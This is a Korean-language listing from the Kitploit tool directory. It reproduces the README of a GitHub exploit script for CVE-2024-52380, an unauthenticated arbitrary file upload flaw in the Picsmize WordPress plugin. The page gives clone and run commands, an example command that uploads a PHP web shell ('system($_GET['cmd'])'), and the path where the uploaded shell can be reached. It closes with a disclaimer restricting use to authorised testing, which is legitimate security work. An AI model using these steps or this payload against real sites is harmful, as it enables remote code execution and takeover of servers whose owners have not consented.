Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-52380-Exploit — WordPress용 Picsmize 플러그인은 임의 파일 업로드에 취약합니다. | Kitploit
도구/GitHubGitHub/nxploited/cve-2024-52380-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubnxploited/cve-2024-52380-exploit

CVE-2024-52380-Exploit

WordPress용 Picsmize 플러그인은 임의 파일 업로드에 취약합니다.

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-52380-Exploit

WordPress용 Picsmize 플러그인은 임의 파일 업로드에 취약합니다.

설명

이 스크립트는 WordPress용 Picsmize 플러그인의 취약점(CVE-2024-52380)을 악용하여 인증되지 않은 공격자가 임의 파일 업로드를 수행할 수 있도록 합니다. 이 취약점은 Picsmize의 모든 버전(1.0.0 포함)에 존재합니다. 이 취약점을 악용하면 대상 서버에서 원격 코드 실행이 발생할 수 있습니다.

🌟 기능

  • 플러그인 버전 확인: 대상 WordPress 사이트가 취약한 Picsmize 플러그인 버전을 사용하고 있는지 자동으로 확인합니다.
  • 파일 업로드 익스플로잇: 사이트가 취약한 경우 대상 서버에 임의의 PHP 페이로드를 업로드합니다.
  • 명령줄 인터페이스: 대상 URL과 페이로드를 지정할 수 있는 사용하기 쉬운 CLI입니다.

📖 취약점 세부 정보

| 플러그인 이름: Picsmize | 영향받는 버전: 모든 버전 ≤ 1.0.0 | 취약점 유형: 인증되지 않은 임의 파일 업로드 | CVE ID: CVE-2024-52380

🚀 사용 방법

사전 요구 사항

  • Python 3.7 이상
  • requests 라이브러리 (pip install requests)

스크립트 실행

  1. 저장소를 클론합니다:
    root@kitploit:~
    git clone https://github.com/Nxploited/CVE-2024-52380-Exploit.git
cd CVE-2024-52380-Exploit

사용법 -help:

root@kitploit:~
usage: CVE-2024-52380.py [-h] -u URL [-c CONTENT]

Check plugin version and upload a PHP file to a WordPress site.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site (e.g., http://192.168.100.74:888).
  -c CONTENT, --content CONTENT
                        Content of the PHP file to be uploaded.

예제

root@kitploit:~
python CVE-2024-52380.py -u http://192.168.1.100 -c "<?php system($_GET['cmd']); ?>"

명령줄 인수

이 스크립트는 사용 편의를 위해 두 가지 명령줄 인수를 제공합니다:

  1. -u / --url (필수):

    • 용도: 대상 WordPress 사이트의 기본 URL을 지정합니다.
    • 예제:
      root@kitploit:~
      -u http://example.com

  2. -c / --content (선택 사항):

    • 용도: 업로드할 PHP 페이로드 내용을 설정합니다.
    • 기본값:
      root@kitploit:~
      <?php phpinfo(); ?>
    • 예제:
      root@kitploit:~
      -c "<?php system($_GET['cmd']); ?>"

📂 파일 업로드 경로

설명:

  • /wordpress: WordPress 사이트의 루트 디렉터리.
  • wp-content/uploads: WordPress에서 미디어 업로드를 위한 기본 디렉터리.
  • 2025/01: 서버 날짜 설정에 따라 연도(2025)와 월(1월)에 해당하는 디렉터리 구조.

업로드된 파일에 접근하는 방법:

  1. 업로드 성공 후, 전체 URL을 사용하여 파일로 이동합니다. 예:

http://target-site.com/wordpress/wp-content/uploads/2025/01/t-678b2ef61b3f41737174774.php

⚠️ 면책 조항

이 스크립트는 교육 목적과 승인된 보안 테스트 용도로만 제공됩니다. 소유하지 않거나 명시적인 테스트 허가를 받지 않은 시스템에 이 도구를 무단으로 사용하는 것은 불법이며 비윤리적입니다.

도구 다운로드